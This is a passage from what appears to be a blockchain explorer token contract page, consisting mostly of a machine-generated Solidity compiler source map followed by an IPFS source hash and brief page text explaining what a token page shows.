:3;:43::i;947:179::-;1005:7;;1037:5;1041:1;1037;:5;:::i;:::-;1025:17;;1066:1;1061;:6;;1053:46;;;;-1:-1:-1;;;1053:46:0;;12750:2:1;1053:46:0;;;12732:21:1;12789:2;12769:18;;;12762:30;12828:29;12808:18;;;12801:57;12875:18;;1053:46:0;12548:351:1;1870:189:0;1956:7;1991:12;1984:5;1976:28;;;;-1:-1:-1;;;1976:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2015:9:0;2027:5;2031:1;2027;:5;:::i;11273:416::-;11372:7;11392:15;11419:10;-1:-1:-1;;;;;11410:19:0;:5;-1:-1:-1;;;;;11410:19:0;;:66;;11445:14;;:31;;11464:11;11445:18;:31::i;:::-;11410:66;;;11432:11;11410:66;11392:84;-1:-1:-1;11491:11:0;;11487:170;;11564:4;11546:24;;;;:9;:24;;;;;;:39;;11575:9;11546:28;:39::i;:::-;11537:4;11519:24;;;;:9;:24;;;;;;;:66;;;;11605:40;;-1:-1:-1;;;;;11605:40:0;;;;;;;11635:9;1231:25:1;;1219:2;1204:18;;1085:177;11605:40:0;;;;;;;;11487:170;11674:7;11273:416;-1:-1:-1;;;;11273:416:0:o;10959:306::-;-1:-1:-1;;;;;11117:15:0;;;;;;:9;:15;;;;;;:31;;11137:10;11117:19;:31::i;:::-;-1:-1:-1;;;;;11100:15:0;;;;;;;:9;:15;;;;;;:48;;;;11174:13;;;;;;;:32;;11192:13;11174:17;:32::i;:::-;-1:-1:-1;;;;;11159:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11224:33;;;;;;;;;;11243:13;1231:25:1;;1219:2;1204:18;;1085:177;11224:33:0;;;;;;;;10959:306;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1897:456::-;1974:6;1982;1990;2043:2;2031:9;2022:7;2018:23;2014:32;2011:52;;;2059:1;2056;2049:12;2011:52;2098:9;2085:23;2117:31;2142:5;2117:31;:::i;:::-;2167:5;-1:-1:-1;2224:2:1;2209:18;;2196:32;2237:33;2196:32;2237:33;:::i;:::-;1897:456;;2289:7;;-1:-1:-1;;;2343:2:1;2328:18;;;;2315:32;;1897:456::o;2755:247::-;2814:6;2867:2;2855:9;2846:7;2842:23;2838:32;2835:52;;;2883:1;2880;2873:12;2835:52;2922:9;2909:23;2941:31;2966:5;2941:31;:::i;3007:388::-;3075:6;3083;3136:2;3124:9;3115:7;3111:23;3107:32;3104:52;;;3152:1;3149;3142:12;3104:52;3191:9;3178:23;3210:31;3235:5;3210:31;:::i;:::-;3260:5;-1:-1:-1;3317:2:1;3302:18;;3289:32;3330:33;3289:32;3330:33;:::i;:::-;3382:7;3372:17;;;3007:388;;;;;:::o;3400:356::-;3602:2;3584:21;;;3621:18;;;3614:30;3680:34;3675:2;3660:18;;3653:62;3747:2;3732:18;;3400:356::o;3761:127::-;3822:10;3817:3;3813:20;3810:1;3803:31;3853:4;3850:1;3843:15;3877:4;3874:1;3867:15;3893:416;3982:1;4019:5;3982:1;4033:270;4054:7;4044:8;4041:21;4033:270;;;4113:4;4109:1;4105:6;4101:17;4095:4;4092:27;4089:53;;;4122:18;;:::i;:::-;4172:7;4162:8;4158:22;4155:55;;;4192:16;;;;4155:55;4271:22;;;;4231:15;;;;4033:270;;;4037:3;3893:416;;;;;:::o;4314:806::-;4363:5;4393:8;4383:80;;-1:-1:-1;4434:1:1;4448:5;;4383:80;4482:4;4472:76;;-1:-1:-1;4519:1:1;4533:5;;4472:76;4564:4;4582:1;4577:59;;;;4650:1;4645:130;;;;4557:218;;4577:59;4607:1;4598:10;;4621:5;;;4645:130;4682:3;4672:8;4669:17;4666:43;;;4689:18;;:::i;:::-;-1:-1:-1;;4745:1:1;4731:16;;4760:5;;4557:218;;4859:2;4849:8;4846:16;4840:3;4834:4;4831:13;4827:36;4821:2;4811:8;4808:16;4803:2;4797:4;4794:12;4790:35;4787:77;4784:159;;;-1:-1:-1;4896:19:1;;;4928:5;;4784:159;4975:34;5000:8;4994:4;4975:34;:::i;:::-;5045:6;5041:1;5037:6;5033:19;5024:7;5021:32;5018:58;;;5056:18;;:::i;:::-;5094:20;;4314:806;-1:-1:-1;;;4314:806:1:o;5125:140::-;5183:5;5212:47;5253:4;5243:8;5239:19;5233:4;5212:47;:::i;5270:168::-;5343:9;;;5374;;5391:15;;;5385:22;;5371:37;5361:71;;5412:18;;:::i;6407:306::-;6495:6;6503;6511;6564:2;6552:9;6543:7;6539:23;6535:32;6532:52;;;6580:1;6577;6570:12;6532:52;6609:9;6603:16;6593:26;;6659:2;6648:9;6644:18;6638:25;6628:35;;6703:2;6692:9;6688:18;6682:25;6672:35;;6407:306;;;;;:::o;6997:277::-;7064:6;7117:2;7105:9;7096:7;7092:23;7088:32;7085:52;;;7133:1;7130;7123:12;7085:52;7165:9;7159:16;7218:5;7211:13;7204:21;7197:5;7194:32;7184:60;;7240:1;7237;7230:12;9661:125;9726:9;;;9747:10;;;9744:36;;;9760:18;;:::i;10146:135::-;10185:3;10206:17;;;10203:43;;10226:18;;:::i;:::-;-1:-1:-1;10273:1:1;10262:13;;10146:135::o;10286:128::-;10353:9;;;10374:11;;;10371:37;;;10388:18;;:::i;10551:127::-;10612:10;10607:3;10603:20;10600:1;10593:31;10643:4;10640:1;10633:15;10667:4;10664:1;10657:15;10683:251;10753:6;10806:2;10794:9;10785:7;10781:23;10777:32;10774:52;;;10822:1;10819;10812:12;10774:52;10854:9;10848:16;10873:31;10898:5;10873:31;:::i;10939:980::-;11201:4;11249:3;11238:9;11234:19;11280:6;11269:9;11262:25;11306:2;11344:6;11339:2;11328:9;11324:18;11317:34;11387:3;11382:2;11371:9;11367:18;11360:31;11411:6;11446;11440:13;11477:6;11469;11462:22;11515:3;11504:9;11500:19;11493:26;;11554:2;11546:6;11542:15;11528:29;;11575:1;11585:195;11599:6;11596:1;11593:13;11585:195;;;11664:13;;-1:-1:-1;;;;;11660:39:1;11648:52;;11755:15;;;;11720:12;;;;11696:1;11614:9;11585:195;;;-1:-1:-1;;;;;;;11836:32:1;;;;11831:2;11816:18;;11809:60;-1:-1:-1;;;11900:3:1;11885:19;11878:35;11797:3;10939:980;-1:-1:-1;;;10939:980:1:o;11924:217::-;11964:1;11990;11980:132;;12034:10;12029:3;12025:20;12022:1;12015:31;12069:4;12066:1;12059:15;12097:4;12094:1;12087:15;11980:132;-1:-1:-1;12126:9:1;;11924:217::o

Swarm Source

ipfs://a80b2429fbfc320250976bd58b9581779325273cace2dd763801c99713b3c991
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.